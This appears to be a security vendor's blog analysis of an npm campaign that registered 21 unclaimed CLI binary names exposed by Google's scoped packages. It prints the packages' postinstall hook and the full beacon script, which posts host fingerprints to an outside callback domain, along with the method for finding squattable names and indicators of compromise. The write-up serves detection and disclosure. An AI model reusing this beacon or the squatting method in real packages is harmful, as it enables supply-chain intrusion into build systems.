On this page
Summary
On August 12, 2026, an actor published 21 npm packages that squatted CLI binary names exposed by
Google’s scoped packages. The packages did not squat package names. They targeted the bin field,
the part of package.json that defines executable command names. Every scoped package that
declares a bin entry creates an unscoped name that anyone can register. None of the standard
dependency confusion mitigations (scoped publishing, registry allowlists, lockfile pinning) cover
this gap. The payload was a minimal postinstall beacon. The technique is the story.
The technique
Dependency confusion, as Alex Birsan documented in 2021,
works by registering public packages whose names match internal private dependencies. The defense
is straightforward: publish your internal packages under a scope (@myorg/package) and the public
registry cannot create a naming conflict.
That defense has a structural gap. When a scoped package declares a bin entry, the binary name
cannot include the scope. The @angular/service-worker package exposes a binary called
ngsw-config. The @bazel/bazelisk package exposes a binary called bazelisk. These names live
in the public npm metadata, visible to anyone:
curl -s https://registry.npmjs.org/@angular/service-worker/latest | jq '.bin'{ "ngsw-config": "ngsw-config.js"}The binary name ngsw-config was never registered as a standalone npm package. Neither was
bazelisk, localize-extract, gemini-cli-a2a-server, nor any of the other 20 names in this
campaign. They sat unclaimed because nobody thinks to reserve binary names.
The researcher behind this campaign built a systematic pipeline around
this gap. Query Google affiliated scoped packages for their bin entries. Strip the scope. Check
which binary names have no matching standalone package on the public registry. Register them.
What the packages contained
Every package followed the same template: a package.json with a postinstall hook, a
postinstall.js beacon, and a source.txt file pointing to the legitimate Google repository
where the squatted name originates.
// package/package.json ([email protected]){ "name": "ngsw-config", "version": "1.0.0", "bin": { "ngsw-config": "noop.js" }, "scripts": { "postinstall": "node postinstall.js" }, "description": "Security research canary for authorized vulnerability testing.", "author": "r00tdaddy", "license": "ISC"}The postinstall script collected system fingerprint data and sent it to a per-package subdomain:
// package/postinstall.js ([email protected])const os = require('os');const https = require('https');
const metadata = JSON.stringify({ timestamp: new Date().toISOString(), pkg: process.env.npm_package_name, hostname: os.hostname(), platform: process.platform, arch: process.arch, node: process.version, npmEvent: process.env.npm_lifecycle_event,});
const request = https.request({ hostname: 'wxc97jnc.instances.poc.jchunt.top', path: '/ngsw-config', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(metadata), },});
request.on('error', () => {});request.setTimeout(3000, () => request.destroy());request.write(metadata);request.end();The beacon collects no credentials, tokens, files, or environment variables. It sends a system fingerprint (hostname, platform, CPU architecture, Node version) to confirm that a build system installed the package and to identify the machine. This is the standard dependency confusion proof of concept pattern.
The source.txt file in each package documented exactly where the researcher found the squatted
name:
// source.txt ([email protected])https://github.com/angular/angular/blob/435f8b2b8b67277fc69888911251d14b32705828/packages/service-worker/package.jsonThese breadcrumbs use commit-SHA permalinks, not branch references. The researcher documented their evidence chain for a potential responsible disclosure report.
Reconnaissance method
The 21 packages came from three discovery techniques, visible in the source.txt references.
npm registry metadata scraping. Eighteen of the 21 names match confirmed bin entries in
packages on the public npm registry. The @angular/localize package declares
localize-extract and localize-translate as binaries. The google-ads-api-report-fetcher
package declares gaarf, gaarf-bq, gaarf-node, and gaarf-node-bq. The
chromecast-webdriver-server package declares chromecast-webdriver-cli. The scoped packages
@google/gemini-cli-a2a-server, @google/chrome-enterprise-premium-mcp,
@googlemaps/code-assist-mcp, @googlemaps/github-policy-bot, and @bazel/bazelisk each
declare a bin entry matching their unscoped name. Even koa-karma-proxy (a Polymer project)
exposes karma-proxy as a bin entry. Nobody had registered any of these 18 binary names as
standalone packages before this campaign.
Sourcegraph and GitHub crawling. Three packages (broadcast-graphics-mcp, upload-to-gcp,
tfjs-inference) have no matching bin entry on any public npm package. Their source.txt files
point to GitHub repositories or Sourcegraph searches, suggesting the researcher found these names
in package.json files inside Google repositories that were never published to the public
registry. The @tensorflow/tfjs-inference directory exists in the tensorflow/tfjs monorepo
with private: false set, but was never published to npm.
Campaign timeline
The actor published in two waves on August 12, 2026, then removed everything:
| Wave | Time (UTC) | Packages | Version | Notes |
|---|---|---|---|---|
| 1 | 13:23 | gaarf, upload-to-gcp | 3.2.1 | Version-matched real release lines |
| 2 | 16:57-16:59 | 19 remaining packages | 1.0.0 | Bulk publish in 70 seconds |
| Unpublish | 17:22:18-17:22:50 | All 21 | Alphabetical order, 32-second window |
The four-hour gap between wave 1 and wave 2 suggests the researcher waited for callbacks before committing the full list. The 32-second unpublish window and alphabetical ordering indicate an automated script.
Two packages used version 3.2.1 instead of 1.0.0. For gaarf, the legitimate
google-ads-api-report-fetcher has versions 3.2.0 and 3.3.0, but 3.2.1 was never published. The
researcher fabricated a plausible patch version between two real releases.
The 21 packages and their targets
| Row | Ecosystem | Package | Version |
|---|---|---|---|
| 1 | npm | bazelisk | 1.0.0 |
| 2 | npm | broadcast-graphics-mcp | 1.0.0 |
| 3 | npm | chrome-enterprise-premium-mcp | 1.0.0 |
| 4 | npm | chromecast-webdriver-cli | 1.0.0 |
| 5 | npm | chromeos-webdriver-cli | 1.0.0 |
| 6 | npm | code-assist-mcp | 1.0.0 |
| 7 | npm | gaarf | 3.2.1 |
| 8 | npm | gaarf-bq | 1.0.0 |
| 9 | npm | gaarf-node | 1.0.0 |
| 10 | npm | gaarf-node-bq | 1.0.0 |
| 11 | npm | gemini-cli-a2a-server | 1.0.0 |
| 12 | npm | github-policy-bot | 1.0.0 |
| 13 | npm | karma-proxy | 1.0.0 |
| 14 | npm | localize-extract | 1.0.0 |
| 15 | npm | localize-translate | 1.0.0 |
| 16 | npm | ngsw-config | 1.0.0 |
| 17 | npm | tfjs-inference | 1.0.0 |
| 18 | npm | tizen-webdriver-cli | 1.0.0 |
| 19 | npm | upload-to-gcp | 3.2.1 |
| 20 | npm | wct-st | 1.0.0 |
| 21 | npm | xbox-one-webdriver-cli | 1.0.0 |
npm user rootdaddy-msrc (ayyitscompton@gmail[.]com) published all 21 packages with the author
field set to r00tdaddy.
Prior art
The technique builds on established research. alxndrsn documented npm binary
confusion in August 2024, showing that
squatted bin names could hijack npx execution. npm rejected the report as “consistent with
documented expectations.” Roni Carta and Adnan Khan formalized “npx confusion” at the DEF CON
33 security conference in August 2025. Aikido found 128 unclaimed package
names referenced in
documentation and observed 121,000 downloads over seven months.
This campaign differs in one respect. Prior research focused on npx execution hijacking, where
a developer types npx <binary> and npm resolves the binary name as a package. This campaign
targets npm install via postinstall hooks. If an internal build system references ngsw-config
as a bare dependency instead of consuming it through @angular/service-worker, the public package
wins. The attack surface shifts from individual developers running npx to automated build
pipelines resolving dependencies.
The defensive gap
Standard dependency confusion mitigations do not cover bin entry names:
| Mitigation | Covers package names | Covers bin names |
|---|---|---|
| Scoped packages (@org/pkg) | Yes | No (bin names cannot include scopes) |
| Claim unscoped placeholders | Yes (if names known) | No (nobody claims bin names) |
| Registry allowlists (.npmrc) | Yes | No |
| lockfile pinning | Yes | No |
Organizations that publish scoped packages should audit the bin entries those packages expose
and register the unscoped names as placeholder packages on the public registry. A query across all
packages in a scope produces the list:
# List all bin entries exposed by packages in an npm scopefor pkg in $(npm search --json "@myorg" 2>/dev/null | jq -r '.[].name'); do curl -s "https://registry.npmjs.org/$pkg/latest" | jq -r '.bin // empty | keys[]'done | sort -uAny name in that list that does not exist as a standalone npm package is a dependency confusion vector.
Indicators of compromise
- npm publisher:
rootdaddy-msrc(ayyitscompton@gmail[.]com) - C2 domain:
*.instances.poc.jchunt[.]top(wildcard DNS, resolves to152.53.138.110) - C2 apex:
jchunt[.]top(behind Cloudflare at104.21.61.226,172.67.216.7) - Payload:
postinstall.jssends system fingerprint (hostname, platform, architecture, Node version) via HTTPS POST - POST path:
/<package-name>(one path per package) - 21 unique C2 subdomains, one per package
- All packages removed from npm registry within hours of publication. Artifacts recovered from npmmirror.com
References
- npm
- oss
- malware
- supply-chain
- security
- dependency-confusion
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
Baileys npm forks farm WhatsApp Channel followers
A growing npm campaign uses forks of the Baileys WhatsApp library to make developers' own accounts follow attacker channels, inflating follower counts and injecting advertising.
Joyfill npm Packages Compromised with Blockchain C2 Loader
Malicious beta versions of @joyfill/components and @joyfill/layouts published on July 28, 2026 carried the PolinRider blockchain dead drop loader inside their production bundles. The Tron-to-BSC C2...
keyv and cacheable npm compromise: 400+ packages
An npm worm published 2,234 poisoned versions across 444 package names. Its install script stole credentials and ran a command when GitHub revoked a token.
mrmustard PyPI Package Trojanized to Steal Credentials
Version 0.7.4 of Xanadu's mrmustard quantum computing library shipped to PyPI with no matching GitHub release. It carries a 258-line credential stealer that harvests SSH keys, AWS and Kubernetes...
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.